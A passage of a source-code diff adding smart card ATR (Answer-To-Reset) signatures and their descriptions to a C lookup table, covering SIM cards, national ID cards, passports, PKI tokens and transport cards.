V3) -Contactless Mode" }, + { "3B8F80018091E1318065B08503010F8301900000", "Jordan ID (eID)" }, { "3B8F80018091E1319865B0850300EF739441C08D", "Italian Passport (passport)\nhttps://www.passaportonline.poliziadistato.it/" }, { "3B8F80018091E1319865B0850300EF739441FFB2", "Italian Passport (passport)" }, { "3B8F80018091E131D865B28C01000773C441E05C", "Portuguese epassport (passport)" }, + { "3B8F80018091E131D865B28C01002673C441E07D", "ePassport chip of South Korea (passport)" }, { "3B8F800186384D574F4850CF1E4D2B1211291070", "Hangzhou Tong (Hangzhou Public Transport Card) (Transport)\nhttps://www.96225.com/smknet/service/show_allGet.action?chanageCrd=3" }, { "3B8F800186844354444E409F3EC40D682804007D", "Access card to the underground network of guangzhou (Transport)" }, { "3B8F8001FF43727970746E6F784649444F3230C2", "Fast Identification Online card (FIDO2) from Cryptnox manufacturer (Other)\nhttps://www.cryptnox.ch" }, { "3B8F8001FF43727970746E6F78464944FFFFFF70", "CRYPTNOX FIDO2 CARD (Other)\nhttp://www.cryptnox.ch" }, + { "3B8F8111FC49524445544F204143532056352E33CD", "Ziggo Irdeto (Pay TV)" }, { "3B90160187", "BIFIT USB-Token iBank2key" }, { "3B90180189", "IIT E.Key Almaz-1C 00 00 (Other)\nhttps://iit.com.ua/" }, { "3B90958011FE6A", "JC30M48CR JavaCard (JavaCard)" }, @@ -2412,6 +2587,7 @@ const static atr_t AtrTable[] = { { "3B9596C0F01FC20F100A0A16", "viettel (Telecommunication)" }, { "3B959740F01A160A1941", "SG50 (Samsung Chip) (Telecommunication)" }, { "3B96004121920000622433339000", "Ukrainian Telecommunications Operator Kyivstar (old simcard) (Telecommunication)\nhttps://kyivstar.ua/uk/mm" }, + { "3B961181217575547275737473", "Identiv uTrust FIDO2 NFC+ (Other)" }, { "3B961880018051006110309F006110309E", "Atmel/Athena T0 PC/SC Compliance Test Card No. 1 (warm reset)" }, { "3B9694801FC6D0019FCB1000CE", "jawwal (Telecommunication)" }, { "3B9695801FC3D007830254005D", "au IC-card ver.001 (for CDMA2000) (Telecommunication)\nhttps://ja.wikipedia.org/wiki/Au_IC%E3%82%AB%E3%83%BC%E3%83%89" }, @@ -2420,6 +2596,7 @@ const static atr_t AtrTable[] = { { "3B9711801F428031A073BE2100A6", "ETSI 102 230 Test case 5.2.5.3. Comprion IT3 SIM emulator (Telecommunication)" }, { "3B9711C0FFB1FE351F83A505010102A3015F", "digital chronotachygraphe card: conducteur/driver, entreprise, controleur/controller et atelier/workshop, 2006-2010\nmanufactured by Imprimerie Nationale, distributed by Chronoservices" }, { "3B9713C0FFB1FE351F83A505010102A3015D", "digital chronotachygraphe card: conducteur/driver, entreprise, controleur/controller et atelier/workshop, 2005-2006\nmanufactured by Imprimerie Nationale, distributed by Chronoservices" }, + { "3B97181181444944454D010758", "Didem Card V1.7 (Pay TV)" }, { "3B9793803FC7828031E073FE211310", "eSTK.me v1.2.3.1 or older (Telecommunication)\nhttps://eSTK.me" }, { "3B9794801F438031E073FE211B39", "Telenor SIM card (Hungary) (Telecommunication)\nhttps://www.telenor.hu" }, { "3B9794803F44908031A073BE210095", "Comprion Simulated card that indicate Low Impedance support: TB(3) = 0x90 (Telecommunication)" }, @@ -2494,14 +2671,19 @@ const static atr_t AtrTable[] = { { "3B9C95801FC78031E073FE211B6457444946CF", "MTC (Moscow) phone SIM card (Telecommunication)\nhttps://moskva.mts.ru/personal" }, { "3B9C9580811F039067464A01005404F272FE00C0", "Feitian Technologies Java Card A22CR (JavaCard)\nhttps://www.javacardos.com/store/javacard-a22cr.php" }, { "3B9C9580811F039067464A01011706F2727E0000", "A40CR (JavaCard)" }, + { "3B9C958101505343502D53435356312E308E", "SSE Carte a puce Inc. : PIV - GIDS - FIDO2.1 - OPENPGP 2.1 Identity Services for Corporation (eID)\nhttps://www.smartcardsecurity.ca" }, { "3B9C958131FE9F9067464A010253050172FE00FB", "Feitian Biopass K27 (PKI)\nhttps://www.ftsafe.com/Products/FIDO/Bio" }, + { "3B9C958131FE9F9067464A010400050172FE00AE", "ePass FIDO-NFC Plus (eID)\nhttps://www.ftsafe.com/products/FIDO/NFC" }, { "3B9C96005275746F6B656E4543507363", "Aktiv Rutoken ECP SC T0\nhttps://www.rutoken.ru/products/all/rutoken-ecp-sc/" }, { "3B9C960058442403020020010A009005", "Ticket Restaurant Card (Other)\nhttp://www.edenred.it/buoni-pasto-welfare-benefit/ticket-restaurant-card/" }, { "3B9C978011405275746F6B656E4543507363C0", "Aktiv Rutoken ECP 3.0 NFC (PKI)\nhttps://www.rutoken.ru/products/all/rutoken-ecp-nfc/" }, { "3B9D114023006810114D696F434F53009000", "MioCOS 1.0" }, - { "3B9D13813160378031C0694D54434F537302020440", "DPI Card Guatemala (eID)\nhttp://www.masktech.de/" }, + { "3B9D13813160378031C0694D54434F537302020440", "DPI Card Guatemala (eID)\nhttp://www.masktech.de/\nSerbian ID (eID)" }, { "3B9D13813160378031C0694D54434F537302020541", "MTCOS (eID)\nhttp://www.masktech.com/Products/MTCOS-Professional/11/en" }, + { "3B9D13813160378031C0694D54434F537302050447", "Serbian vehicle card (Other)" }, + { "3B9D188131FC358031C0694D54434F5373020502D4", "Serbian vehicle card (Other)" }, { "3B9D188131FC358031C0694D54434F5373020505D3", "Lithuanian e-ID Card (eID)\nhttps://www.nsc.vrm.lt/default_en.htm" }, + { "3B9D188131FC358031C0694D54434F5373020604D1", "Lithuanian ID card (MaskTech, 2024) (eID)" }, { "3B9D944023006820014D696F434F53009000", "Miotec smartcard running Miocos 2.0 on an Atmel AT90SC646\nhttp://www.miotec.fi" }, { "3B9D95801FC38031E0524B5462110373FE211B8F", "KT WiBro UICC (2.3 GHz mobile WiMAX in South Korea)" }, { "3B9D95801FC38031E073FE211B65D00057026230", "Gemalto NFC enabled (acquired through the Simagine contest)" }, @@ -2515,6 +2697,7 @@ const static atr_t AtrTable[] = { { "3B9D95801FC780731A211B63AF09A9830F9000F3", "Estonian GSM operator TELE2 (WPKI eID support)" }, { "3B9D95803FC7A08031A073BE21135105830590007C", "NTT docomo Xi(LTE) DN05(DNP) Pink SIM (Telecommunication)" }, { "3B9D960053492303030020000400F59000", "shell (Transport)" }, + { "3B9D9600534D4152545041524B20464B43", "T token (Russia) (Other)" }, { "3B9D96801FC78031E073FE2113654C0404020096", "China umion 5G SIM (Telecommunication)" }, { "3B9D96803FC7A08031E073FE211B65534130112546", "KT MVNO Baro USIM (Telecommunication)\nhttps://ktmyr.com/fe/service/svc/usimGuide.do?menuNo=F0604" }, { "3B9D96813160378031C0694D54434F5373020204C5", "Mozambique ID Card (eID)" }, @@ -2526,6 +2709,7 @@ const static atr_t AtrTable[] = { { "3B9E94801F478031E073BE211366868882183942F5", "China Unicom 128K Mini USIM (Telecommunication)" }, { "3B9E94801F478031E073FE21136686880212653213", "MTS Moscow (Russia) SIM card (Telecommunication)\nhttps://moskva.mts.ru/personal" }, { "3B9E94801FC38031E073FE211B66D00017B40000A5", "Vodafone Ireland SIM card" }, + { "3B9E94801FC68031E073FE211B66D0019FEF100062", "Vodacom GSM SIM (Telecommunication)" }, { "3B9E94801FC78031E073FE211366425454423031DB", "XLB.5G CTC Test Card (Telecommunication)\nhttps://xielibo.com" }, { "3B9E94801FC78031E073FE211B66D0006C025F0033", "Vivo Brasil SIM Card" }, { "3B9E94801FC78031E073FE211B66D0006C0634005C", "SIM card SFR 250 128ko" }, @@ -2542,6 +2726,7 @@ const static atr_t AtrTable[] = { { "3B9E95801FC38031E073FE211B66D000490000004E", "UK O2 Unlimited Prepay GSM/UMTS USIM" }, { "3B9E95801FC3804B434F5320566572012E0190001C", "Vehicular License Veracruz, Mexico (Transport)" }, { "3B9E95801FC68031E073FE211B66D0019FBD100031", "H3G (Three UK) Prepaid USIM (Telecommunication)" }, + { "3B9E95801FC68031E073FE211B66D0025E73150038", "albert heijn prepaid SIM netherlands (Telecommunication)" }, { "3B9E95801FC78031E073FE211B66D00007001E001A", "H3G (Ireland, UK) UMTS USIM card" }, { "3B9E95801FC78031E073FE211B66D000261C010038", "GSM-SIM Telefonica Movistar, contract (Spain)\nhttp://www.movistar.es/" }, { "3B9E95801FC78031E073FE211B66D00028C40000EF", "H3G (Italy) UMTS USIM card" }, @@ -2588,6 +2773,8 @@ const static atr_t AtrTable[] = { { "3B9E96800141054300000000000000000090001E", "ACS CryptoMate EVO PKI token (PKI)\nhttps://www.acs.com.hk/en/products/494/cryptomate-evo-cryptographic-usb-tokens/" }, { "3B9E96801F478031A073BE211366868802101D1049", "Maroc Telecom USIM" }, { "3B9E96801F838031E073FE21126655574E41323391", "TDC mobile UICC (Telecommunication)" }, + { "3B9E96801F878031E073FE2119664A5543140110CB", "SIM card for 5G exploration (Telecommunication)" }, + { "3B9E96801F878031E073FE2119664A556021AA1670", "telkomsel (Telecommunication)" }, { "3B9E96801FC38031E073FE211B66D0016C040D0060", "toggle GSM SIM\nhttp://www.togglemobile.co.uk" }, { "3B9E96801FC38031E073FE211B66D0017B980D00EB", "Lycamobile Pay As You Go SIM" }, { "3B9E96801FC68031E073FE211B66D0019F134D00C1", "Telus Mobility Tri-SIM card (Telecommunication)\nhttps://www.telus.com/en/mobility/sim-cards" }, @@ -2630,6 +2817,7 @@ const static atr_t AtrTable[] = { { "3B9E96801FC78031E073FE211B66D00199C80F005F", "OneSimCard (Telecommunication)\nhttp://www.onesimcard.com/" }, { "3B9E96801FC78031E073FE211B66D00199FE0E0068", "Finnish Sonera SIM-card (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D001A0041100B4", "Aldi Talk SIM card, Germany (Telecommunication)\nhttps://www.alditalk.de/talk" }, + { "3B9E96801FC78031E073FE211B66D001A00F1100BF", "Vodafone UK SIM card (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D001A01E1100AE", "Zevvle SIM Card (Telecommunication)\nhttps://zevvle.com" }, { "3B9E96801FC78031E073FE211B66D001A0741000C5", "USIM of Vodafone Germany (MCC 262, MNC 2) (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D001A0DD12006E", "USIM (Telecommunication)" }, @@ -2637,48 +2825,66 @@ const static atr_t AtrTable[] = { { "3B9E96801FC78031E073FE211B66D001A1121000A2", "OpenAirInerface (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D001A1181100A9", "WinEMP NRI License Card (Other)" }, { "3B9E96801FC78031E073FE211B66D001A122110093", "Lebara (Telecommunication)" }, + { "3B9E96801FC78031E073FE211B66D001A1421000F2", "SIM card (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D001A1581100E9", "Vodafone CZ: SIMPLUS V128 LTE (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D001A1680F00C7", "Free Mobile SIM card (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D001A1721000C2", "Vodafone (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D001A1731000C3", "Prepaid public telephone card from Lidl Connect, Germany (Telecommunication)\nhttps://www.lidl.de/de/lidl-connect/s7373597" }, { "3B9E96801FC78031E073FE211B66D001A1771000C7", "SIM Card Model X1 for Ting Mobile Carrier (Telecommunication)\nhttps://tingmobile.com/" }, { "3B9E96801FC78031E073FE211B66D001A1A70F0008", "Spanish Movistar Mobile phone SIM card (Telecommunication)\nhttp://www.movistar.es/" }, + { "3B9E96801FC78031E073FE211B66D001A1B8100008", "Bancorp (Bank)" }, { "3B9E96801FC78031E073FE211B66D001A1E60F0049", "SIM O2 CZ (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D002170912000E", "SIM/USIM (SPAIN) - ORANGE ESPAGNE VIRTUAL, S.A.U. (Orange / Jazztel / SIMYO) (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D0021759140058", "USIM card of of Ukrainian Telecommunications Operator Kyivstar, emitted after 2016 (Kyivstar GSM) (GSM/UMTS/LTE services) (Telecommunication) (Telecommunication)\nhttps://kyivstar.ua/uk/4g" }, { "3B9E96801FC78031E073FE211B66D002175B12005C", "Cellcom Israel USIM (micro FF) (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D0021760130066", "Vodafone spain barcelona (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D0021762120065", "Free Mobile (Telecommunication)\nhttp://mobile.free.fr" }, + { "3B9E96801FC78031E073FE211B66D0021762130064", "SIM Card (possibly Gemalto/Thales) Telecommunication" }, + { "3B9E96801FC78031E073FE211B66D0021795120092", "Twilio SIM (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D00217A01200A7", "USIM Card (Etisalat) (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D00217BF1100BB", "Telkom (Telecommunication)" }, + { "3B9E96801FC78031E073FE211B66D00217C41100C0", "STC Telecommunication" }, { "3B9E96801FC78031E073FE211B66D00217C91100CD", "Vivo 4G (Other)" }, { "3B9E96801FC78031E073FE211B66D00217CD1100C9", "O2 4G SIM card (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D00217D91200DE", "telenor (swedish mobile provider) SIM card (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D00217F41200F3", "SIM card for Swedish operator Vimla! (Telecommunication)\nhttps://www.vimla.se" }, { "3B9E96801FC78031E073FE211B66D002194B120042", "halebop (swedish mobile provider) SIM card (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D0022436140004", "SIM (Telecommunication)" }, + { "3B9E96801FC78031E073FE211B66D00224B3140081", "Drei AT Prepaid SIM Card (Telecommunication)\nhttps://www.drei.at/de/shop/wertkarte/" }, + { "3B9E96801FC78031E073FE211B66D00224DE1400EC", "Romanian Vodafone SIM Card (Telecommunication)" }, + { "3B9E96801FC78031E073FE211B66D0022A3215000F", "Bell 5G/LTE multi SIM card, Canada (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D0022A6D130056", "USIM card (JavaCard)" }, { "3B9E96801FC78031E073FE211B66D0022A6D140051", "Mobitel SIM from Sri Lanka (Telecommunication)\nhttps://mobitel.lk/" }, { "3B9E96801FC78031E073FE211B66D0022A72130049", "SIM Card OI (Brazil) (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D0022A7613004D", "MTS Russia (Telecommunication)\nhttps://www.mts.ru/\nMegafon Russia (Telecommunication)\nhttps://www.megafon.ru" }, { "3B9E96801FC78031E073FE211B66D0022A861300BD", "Mobile Vikings SIM Card (Telecommunication)\nhttps://mobilevikings.com" }, { "3B9E96801FC78031E073FE211B66D0022A8F1400B3", "Telefonica USIM (Telecommunication)" }, + { "3B9E96801FC78031E073FE211B66D0022AB714008B", "AT&T Prepaid UICC (Telecommunication)" }, { "3B9E96801FC78031E073FE211B66D0022AD31300E8", "sim card from Mobilcom Debitel Telefonica (Telecommunication)\nhttps://md.de" }, { "3B9E96801FC78031E073FE211B66D0022AD91300E2", "sim (Telecommunication)" }, + { "3B9E96801FC78031E073FE211B66D0022ADA1300E1", "Zevvle SIM Card (Telecommunication) Telecommunication\nhttps://zevvle.com" }, { "3B9E96801FC78031E073FE211B66D0022AE81300D3", "Twilio Super SIM card (Telecommunication)\nhttps://www.twilio.com/iot/super-sim-card" }, { "3B9E96801FC78031E073FE211B66D0022AF21400CE", "Tello (Telecommunication)\nhttps://tello.com/" }, { "3B9E96801FC78031E073FE211B66D00233AD140088", "4G-LTE (Telecommunication)" }, + { "3B9E96801FC78031E073FE211B66D002390D150023", "Orange Belgium Hello (Telecommunication)" }, { "3B9E968031FE4553434520382E302D433156300D0A6F", "Serbian Identity Card (eID) (eID)" }, + { "3B9E968031FE4553434520382E302D433256300D0A6C", "Serbian Identity Card (eID) (eID)" }, { "3B9E96803F47A08031E073EE211366868842185221EF", "SIM card (Telecommunication)" }, { "3B9E96803FC3A08031E073FE211B630801140F9000D3", "KT Olleh LTE Warp SA-L 1670 (Telecommunication)" }, { "3B9E97801FC68031E073FE211B66D0019F7A1200F6", "Spectrun USA Sim Card (Telecommunication)" }, + { "3B9E97801FC68031E073FE211B66D0024010150047", "Simplex Wireless SIM card (Telecommunication)" }, { "3B9E97801FC68031E073FE211B66D0024011150046", "SIM Card for French mobile provider Unyc (Telecommunication)\nhttps://www.unyc.io/" }, + { "3B9E97801FC68031E073FE211B66D002401815004F", "Lebara.fr (Telecommunication)\nhttps://www.lebara.fr/" }, { "3B9E97801FC68031E073FE211B66D002401D15004A", "Telia Sim card for IoT (Telecommunication)" }, { "3B9E97801FC68031E073FE211B66D0024027150070", "verymobile wind 3 (Telecommunication)\nhttps://verymobile.it/" }, { "3B9E97801FC68031E073FE211B66D002402F150078", "Free Mobile (French carrier) SIM card (Telecommunication)\nhttps://mobile.free.fr/" }, { "3B9E97801FC68031E073FE211B66D0025E7315003A", "Twilio Super SIM (Telecommunication)\nhttps://www.twilio.com/iot/super-sim-card" }, + { "3B9E97801FC68031E073FE211B66D0025E901500D9", "SMARTY (a subsidiary of Three UK) 4G SIM Card (Telecommunication)" }, + { "3B9E97801FC68031E073FE211B66D0025EAE1500E7", "kiwisim (Telecommunication)" }, + { "3B9E97801FC68031E073FE211B66D0025EC0150089", "Orange France Postpaid SIM Card (Telecommunication)" }, { "3B9E97801FC78031E073FE211B66D0006B951100EE", "TracFone SIM Verizon Wireless LTE supported (Telecommunication)\nhttps://www.tracfone.com" }, { "3B9E97801FC78031E073FE211B66D0022AB3130089", "SIM T-MObile (Telecommunication)" }, + { "3B9E978031FE4553434520382E302D433156300D0A6E", "Serbian Health Care card (HealthCare)\nhttps://www.rfzo.rs/index.php/osiguranalica/ekartica" }, { "3B9F..801FC300681.4405014649534531C8..9000..", "Setec SetCOS 4.4.1" }, { "3B9F1110804154393853433033324354312E3535", "'ID Vault' brand device (Other)\nhttp://www.idvault.com/index.html" }, { "3B9F1110805661756C74494320343630312E3032", "Inside Secure VaultIC 460 Smart Object [ICCD 1.00] (Other)\nhttp://www.insidesecure.com/Products-Technologies/Secure-Solutions/VaultIC460" }, @@ -2749,18 +2955,21 @@ const static atr_t AtrTable[] = { { "3B9F94801FC78031E073FE21136761210D10000070F7", "Celcom XPAX (Telecommunication)\nhttps://www.celcom.com.my/personal/prepaid" }, { "3B9F94801FC78031E073FE2119573C8660C10401F00E", "Karabakh Telecom - cell operator of Republic of Artsakh (1992-2023) (Telecommunication)\nhttp://web.archive.org/web/20230927140946/https://kt.am/" }, { "3B9F94801FC78031E073FE2119573C8660C1060240BF", "Vietnamobile SIM card (Telecommunication)" }, + { "3B9F94801FC78031E073FE2119573C8660C1070210EE", "Serbia, Yettel, Prepaid (touristic) SIM (Telecommunication)\nhttps://www.yettel.rs/en/consumer/offer/tariff-packages/prepaid-tariff-package" }, { "3B9F94801FC78031E073FE2119573C8660CFB902A0EE", "Gotanet SE USIM (Telecommunication)" }, { "3B9F94801FC78031E073FE2119573C8660CFBA02A0ED", "Gotanet DK USIM (Telecommunication)" }, { "3B9F94801FC78031E073FE211B573786609B3289B2A1", "China Unicom Travel SIM (Telecommunication)\nhttps://www.cuniq.com/hk/data-card/asia/asia-12days.html" }, { "3B9F94801FC78031E073FE211B573786609BA182109B", "U Mobile POWER Prepaid (Telecommunication)\nhttp://www.u.com.my/prepaid" }, { "3B9F94801FC78031E073FE211B573786609C8080802F", "Telenor (Telecommunication)\nhttps://www.telenor.com.pk/" }, { "3B9F94801FC78031E073FE211B573C8660AF030070E4", "MTS Russia (Telecommunication)\nhttps://www.mts.ru" }, + { "3B9F94801FC78031E073FE211B573C8660BEB2001024", "SIM card issued by Telenor Serbia (Telecommunication)" }, { "3B9F94801FC78031E073FE211B573C8660CDA1001246", "Beeline SIM card (RUS) (Telecommunication)\nhttps://beeline.ru" }, { "3B9F94801FC78031E073FE211B573F86604D03000075", "Prepaid SIM card MOCHE (Portugal) (Telecommunication)" }, { "3B9F94801FC78031E073FE211B573F866083020000BA", "GSM-SIM Beeline RU (Telecommunication)\nhttp://beeline.ru" }, { "3B9F94801FC78031E073FE211B573F866096A100000C", "Lycamobile UICC/SIM card. (Telecommunication)\nhttps://www.lycamobile.com.au" }, { "3B9F94801FC78031E073FE211B573F8660AEA0000035", "VIVA MTS (Armenia) (Telecommunication)\nhttps://www.mts.am/" }, { "3B9F94801FC78031E073FE211B573F8660AF01000095", "Gotanet SE USIM (Telecommunication)" }, + { "3B9F94801FC78031E073FE211B573F8660B4A000002F", "Beeline RUS (Telecommunication)" }, { "3B9F94801FC78031E073FE211B573F8660B803000080", "Zero1 SIM card, Singapore (Telecommunication)" }, { "3B9F94801FC78031E073FE211B573F8660B8A1000022", "MEO (Portugal) SIM-Card (Telecommunication)" }, { "3B9F94801FC78031E073FE211B6345431983009000DA", "Smartjac (Telecommunication)" }, @@ -2788,6 +2997,7 @@ const static atr_t AtrTable[] = { { "3B9F95801FC38031A073BE211367D002031901000016", "GSM SIM card from congstar (a no-frills service provider of Deutsche Telekom)" }, { "3B9F95801FC38031A073BE211367D00203210500002A", "T-Mobile CZ SIM+USIM, printed label says @LB. (Telecommunication)" }, { "3B9F95801FC38031A073BE211367D00203310500003A", "T-MOBILE CZ GSM card" }, + { "3B9F95801FC38031E073FE2113576111957125560109", "mobile phone test white card from Shenzhen Huahai Smart Card Co., Ltd (Telecommunication)\nhttps://www.cnhuahai.com/en/products/mobile-phone-test-white-card" }, { "3B9F95801FC38031E073FE21135786810286984418A8", "GREEN CARD, Grcard (Hong Kong ) Co.,Limited, LTE Usim Card (Telecommunication)\nCelcom Postpaid 3G (Telecommunication)" }, { "3B9F95801FC38031E073FE21136355401883079000C2", "Ubivelox (JavaCard)" }, { "3B9F95801FC38031E073FE211B573F866046CD0001B4", "China Unicom USIM 128K 1295E" }, @@ -2797,6 +3007,7 @@ const static atr_t AtrTable[] = { { "3B9F95801FC38031E073FE211B640690620082900032", "AT&T GoPhone SIM Card" }, { "3B9F95801FC38031E073FE211B649B4D011182900000", "Singular (now AT&T) 3G GSM SIM Card" }, { "3B9F95801FC38031E073FE211BB3E20174830F900088", "Gemplus GemXplore 3G USIM" }, + { "3B9F95801FC38031E073FE211BB3E20394830F90006A", "Sim Card Proximus (Telecommunication)" }, { "3B9F95801FC78031A073B6A10067CF15CA9CD70920", "RBC Bank Card (Bank)\nhttps://www.rbc.com" }, { "3B9F95801FC78031A073B6A10067CF1713C41D2D3649", "Idemia card (Telecommunication)" }, { "3B9F95801FC78031A073B6A10067CF1794AA28993F28", "Glaier Programmable LTE USIM Card (Telecommunication)" }, @@ -2820,6 +3031,7 @@ const static atr_t AtrTable[] = { { "3B9F95801FC78031E073FE2113574A330E1A32330087", "Rohde and Schwarz CMW-Z04. Mini-UICC Test Card (Telecommunication)" }, { "3B9F95801FC78031E073FE2113574A330E1A32360082", "TELUS 3G SIM Card" }, { "3B9F95801FC78031E073FE2113574A330E1E32360086", "SIM Enreach (Telecommunication)" }, + { "3B9F95801FC78031E073FE21135786810686984000B4", "China Mobile LTE USIM Card (Telecommunication)" }, { "3B9F95801FC78031E073FE2113635510888307900006", "SHOW or UPlus USIM (Telecommunication)" }, { "3B9F95801FC78031E073FE2113635510AA8307900024", "2degrees NFC (Telecommunication)\nhttp://www.2degreesmobile.co.nz/home" }, { "3B9F95801FC78031E073FE2113672228004001000191", "Lycamobile Prepaid SIM-Card (Telecommunication)\nhttp://lycamobile.at" }, @@ -2827,6 +3039,8 @@ const static atr_t AtrTable[] = { { "3B9F95801FC78031E073FE211B573C8660BEB5002012", "Beeline Armenia / Telecomarmenia (Telecommunication)\nhttps://www.telecomarmenia.am" }, { "3B9F95801FC78031E073FE211B573C8660BEB7002010", "Kyivstar SIM (Telecommunication)\nhttps://kyivstar.ua/" }, { "3B9F95801FC78031E073FE211B573F866096AE000002", "Kazakhstan 'Beeline' 4G SIM card (Telecommunication)\nhttps://beeline.kz" }, + { "3B9F95801FC78031E073FE211B636D402B83009000C2", "Test SmartCard (Telecommunication)" }, + { "3B9F95801FC78031E073FE211B636E402783009000CD", "SimCard in China (Telecommunication)" }, { "3B9F95801FC78031E073FE211B63E20394830F9000BE", "Telenet N.V. Walk & Talk SIM Card Belgium" }, { "3B9F95801FC78031E073FE211B63E204A5830F900088", "Cingular '64Ksmartchip' GSM SIM\nTelia GSM/3G (Swedish operator)" }, { "3B9F95801FC78031E073FE211B63E206A6830F900089", "TracFone (US) Net10 GSM SIM card\nSimyo (Germany) GSM SIM card\nH3G (Italy) UMTS USIM card" }, @@ -2857,19 +3071,24 @@ const static atr_t AtrTable[] = { { "3B9F958131FE9F006646530501001171DF0000........", "Feitian ePass2003 token" }, { "3B9F958131FE9F00664653051000FF71DF0000000000EC", "JavaCOS A22 dual interface Java card - 150K (JavaCard)\nhttp://www.smartcardfocus.us/shop/ilp/id~709/javacos-a22-dual-interface-java-card-150k/p/index.shtml" }, { "3B9F958131FE9F006646530510043171DF000000000026", "ePass2003 (PKI)" }, + { "3B9F958131FE9F006646530510043171DF0000036A82CD", "ePass2003 Auto (eID)" }, { "3B9F958131FE9F006646530510043171DF000006000020", "FEITIAN ePASS 2003 Auto (PKI)" }, { "3B9F958131FE9F006646530510043171DF00003900001F", "Feitian ePass2003 (PKI)" }, { "3B9F958131FE9F006646530510063171DF000000000024", "FT ePass2003Auto USB Token (PKI)" }, + { "3B9F958131FE9F006646530510113171DF000000000033", "Epass 2003 (PKI)" }, { "3B9F958131FE9F006646530510113171DF0000039000A0", "Feitian ePass2003 PKI Token (PKI)" }, { "3B9F958131FE9F006646530510113171DF0000860000B5", "HYPERSECU HYP2003 (PKI)\nhttps://www.hypersecu.com/hyperpki" }, { "3B9F958131FE9F006646530510323871DF00000600001F", "token (PKI)" }, + { "3B9F958131FE9F006646530510523971DF000000000078", "'Feitian ePass2003' USB (PKI)" }, { "3B9F958131FE9F006646530520032571DF000000000005", "Feitian ePass2003 token" }, { "3B9F958131FE9F006646530520032571DF000003900096", "Feitian ePass2003 token (PKI)" }, { "3B9F958131FE9F006646530523002571C39F0000000086", "Feitian ePass2003 token" }, { "3B9F958131FE9F006646530523002571DF00000.00000.", "FEITAIN ePASS2003 (PKI)\nhttp://www.ftsafe.com/product/epass/epass2003" }, + { "3B9F958131FE9F006646530523002571DF000000000005", "Gemalto 840 (eID)" }, { "3B9F958131FE9F006646530523002571DF000003900096", "Feitian USB Cryptographic token (FIPS 140-2 Level 3) (PKI)\nhttp://www.ftsafe.com/product/epass/epass2003" }, { "3B9F958131FE9F006646530532022571DF000006000010", "ePass 3003 Auto (PKI)\nhttps://www.ftsafe.com/products/PKI/Standard/Specification" }, { "3B9F958131FE9F006646530534002571DF0000036A82F9", "Feitian ePass2003Auto (PKI)\nhttps://www.ftsafe.com/Products/PKI/Standard/Specification" }, + { "3B9F958131FE9F006646530540231871DF000000000078", "Feitian ePass2003 (PKI)\nhttps://www.ftsafe.com/store/product/epass2003-pki-token/" }, { "3B9F958131FE9F006646530551003371DF000000000061", "FT ePass2003Auto 00 00 (PKI)" }, { "3B9F958131FE9F006646530551003371DF0000036A828A", "Feitian epass2003 Auto (PKI)" }, { "3B9F958131FE9F006646530551003371DF0000039000F2", "HyperPKI USB Token (PKI)\nhttps://www.hypersecu.com/hyperpki" }, @@ -2881,6 +3100,7 @@ const static atr_t AtrTable[] = { { "3B9F96400A8031E06B0421050261555555555555", "altinn - Buypass\nElectronic ID card for login to the altinn.no service" }, { "3B9F96400A8031E06B042105026C555555555555", "Banca Intesa (Bank)\nhttp://www.bancaintesa.rs/code/navigate.aspx?Id=677" }, { "3B9F96400A8031E06B04310502A8555555555555", "Norsk Tipping tippekort (eID)\nhttps://www.norsk-tipping.no/bli-nettspiller" }, + { "3B9F96400A8031E06B045205024F555555555555", "Buypass ID on Smart card (eID)\nhttps://www.buypass.no/produkter/buypass-id-smartkort" }, { "3B9F96801F438031E073362113574A330E09314100AA", "Elisa UICC (Telecommunication)" }, { "3B9F96801F438031E073362113574A330E0C314100AF", "GSM, Vodafone (Germany)" }, { "3B9F96801F478031E073362113574A330E0C314100AB", "NATEL SIM-Card swisscom\nVodafone Germany Micro-SIM from 2010" }, @@ -2888,12 +3108,15 @@ const static atr_t AtrTable[] = { { "3B9F96801F878031A073BE2111630000018305900089", "jio sim card (Telecommunication)" }, { "3B9F96801F878031E073FE2119674A555473300948DB", "nano sim/usim card (Telecommunication)" }, { "3B9F96801F878031E073FE2119674A555475300662F8", "SIM Card (Telecommunication)" }, + { "3B9F96801F878031E073FE2119674A555475300868FC", "Vodafone UA Card (Telecommunication)\nhttps://www.vodafone.ua" }, { "3B9F96801F878031E073FE2119674A557330310746BE", "Hologram Developer Global IoT SIM Card (Telecommunication)\nhttps://hologram.io/store/global-iot-sim-card/17" }, { "3B9F96801F878031E073FE2119674A55753031136288", "Zimbabwe sim card provider: ECONET (Telecommunication)" }, { "3B9F96801F878031E073FE211B674A357530350259C4", "sysmoISIM-SJA5-9FV programmable SIM/UICC/USIM/ISIM (Telecommunication)\nhttps://sysmocom.de/products/sim/sysmoisim-sja5/index.html" }, { "3B9F96801F878031E073FE211B674A357530350265F8", "sysmoISIM-SJA5 (Telecommunication)\nhttps://sysmocom.de/products/sim/sysmoisim-sja5/index.html" }, { "3B9F96801F878031E073FE211B674A4C5275310451D5", "Test card provided with 4G/5G network from Amarisoft (Telecommunication)" }, { "3B9F96801F878031E073FE211B674A4C7530300248A9", "Cardcentrics (Telecommunication)" }, + { "3B9F96801F878031E073FE211B674A4C753030064BAE", "USIM (Telecommunication)" }, + { "3B9F96801F878031E073FE211B674A4C7530311359A8", "IR MCI simcard (Telecommunication)\nhttps://mci.ir/" }, { "3B9F96801F878031E073FE211B674A4C753034054BA9", "sysmoISIM-SJA2 (Telecommunication)\nhttps://osmocom.org/projects/cellular-infrastructure/wiki/SysmoISIM-SJA2" }, { "3B9F96801F878031E073FE211B674A4C75313305688C", "Somtel SIM 